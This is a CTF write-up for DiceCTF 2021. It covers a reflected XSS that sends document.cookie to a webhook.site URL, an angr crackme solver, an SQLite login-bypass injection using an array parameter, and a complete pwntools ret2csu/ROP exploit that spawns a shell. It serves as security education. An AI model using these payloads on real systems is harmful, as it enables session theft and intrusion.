DiceCTF 2021

This competition was on 5 - 7 Feb 2021. We placed 157th / 1059.

Babier CSP

HTML ended up being executed directly on a webpage through a get parameter (name), but script tags weren't. After I added the fixed CSP nonce to the script tag, I was able to achieve a reflected XSS. Webhook.site is a site which allows the logging of the HTTP requests to itself, which I used to recover the secret cookie and ultimately the flag.

The complete payload was

https://babier-csp.dicec.tf/?name=<script nonce="LRGWAXOY98Es0zz0QOVmag==" src="https://webhook.site/e5a244d7-94d3-40f8-899e-e268de336024?cookie="%2Bdocument.cookie></script>

babymix

I determined the state which lead to "Correct!" being outputted in a crackme which was ultimately the flag. Read more at https://docs.angr.io/core-concepts/pathgroups

import angr

b = angr.Project('babymix')

simgr = b.factory.simgr()
simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(1))
flag = s.posix.dumps(0)
print(flag)

Missing flavortext

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

After reading the source, this appears to be a sqlite injection with an apostrophe restriction. However, it seems impossible! You need double quotes to escape out of an apostrophe in sqlite, so user: \, pass: OR 1=1; -- doesn't work. Luckily, the backend javascript uses an includes function to filter apostrophes. Making password an array would bypass the apostrophe restriction.

user: admin
pass[]: ' OR 1=1;--
as get parameters will grant you the flag!

babyrop

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

I disassembled the binary with objdump -d babyrop -M intel. I noticed a large number of pops in __libc_csu_init, which is indicative of an abundance of ROP gadgets. ROP gadgets enable one to control register (assembly variable) values without executing shellcode/writing stuff on the stack. Because of this observation, I suspected this binary to be vulnerable to ret2csu.
I followed https://pwning.tech/2020/04/13/ret2csu/ a lot.

The premise is that __libc_csu_init allows one to control the three top argument registers, rdi, rsi, and rcx, from the x64 calling convention. Put another way, when calling a function in x64 assembly, the first argument needs to be in rdi, second in rsi, and third in rcx. This enables one to call write, which has three arguments (man 2 write), which will output the address of any function in GOT table. This is important because GOT tables enable in loading functions from libc (a global C library) at runtime, and these functions' address locations are randomized. By printing out a function in the GOT table, you can de-randomize the libc base, and therefore use one gadgets (automatic shell popping gadgets in libc versions).

The complete "tools" I used in no particular order were:

  • gdb (C binary debugger)
  • gef (Prints out stack info, helped me find buffer overflow offset with 'pattern create' and 'pattern search')
  • skel from gef-scripts (skeleton code)
  • pwntools (library required to run skel)
  • objdump to read through disassembly of binary
  • ldd to locate which library was dynamically linked to binary
  • onegadget to discover one gadgets given a libc file
  • ROPgadget to discover ROP gadgets
  • tmux (required to run skel template)
#!/usr/bin/env python3
import sys, os
from pwn import *
context.update(
    arch="amd64",
    endian="little",
    os="linux",
    log_level="debug",
    terminal=["tmux", "split-window", "-h", "-p 65"],
)


REMOTE = False
TARGET = os.path.realpath("/home/jolly/Downloads/babyrop")
elf = ELF(TARGET)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 


def attach(r):
    if not REMOTE:
        bkps = ['*0x40116b']
        cmds = []
        gdb.attach(r, '\n'.join(["break %s" % (x,) for x in bkps] + cmds))


def pad_null_bytes(value):
    return value + b'\x00' * (8 - len(value))


# rdi, rsi, rdx, rcx
def set_args(val1, val2, val3):
    buf = b''
    buf += p64(0x4011ca) # pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15
    buf += p64(0)
    buf += p64(1)
    buf += p64(val1)
    buf += p64(val2)
    buf += p64(val3)
    buf += p64(0x403e28)

    """
    mov rdx, r14;
    mov rsi, r13;
    mov edi, r12d;
    call QWORD PTR [r15+rbx*8] # => [0x403e28]->0x401000
    add rbx, 01;
    cmp rbp, rbx;
    jne ...;
    pop rbx;
    pop rbp;
    pop r12;
    pop r13;
    pop r14;
    pop r15;
    ret;
    """
    buf += p64(0x4011b0)
    buf += p64(0)
    buf += p64(0)
    buf += p64(0)
    buf += p64(0)
    buf += p64(0)
    buf += p64(0)
    buf += p64(0)
    return buf


def exploit(r):
    attach(r)
    
    buf = b''
    buf += b'A' * 72

    """
    write@plt (
       $rdi = 0x0000000000000001,
       $rsi = 0x0000000000402004 → "Your name: ",
       $rdx = 0x000000000000000b
    )
    """

    # write(fd=1, buf=GOT[gets], count=8)
    buf += set_args(1, elf.got['gets'], 8)
    buf += p64(elf.plt['write']) # call to write
    buf += p64(elf.symbols['main'])

    r.sendline(buf)
    r.recv(0xb)
    gets_loc = r.recv(6)
    gets_leak = u64(pad_null_bytes(gets_loc))

    libc.address = gets_leak - libc.symbols['gets']
    log.info(f"Libc @ {hex(libc.address)}")

    pop_rdi = p64(0x4011d3)

    buf = b''
    buf += b'A' * 72
    # below can be replaced with buf += p64(libc.address + onegadgetaddr)
    buf += pop_rdi
    buf += p64(next(libc.search(b"/bin/sh")))
    buf += p64(libc.sym["system"])
    buf += p64(libc.sym["exit"])

    r.sendline(buf)
    r.interactive()


if __name__ == "__main__":
    if len(sys.argv) == 2 and sys.argv[1] == "remote":
        REMOTE = True
        r = remote("dicec.tf", 31924)
    else:
        REMOTE = False
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →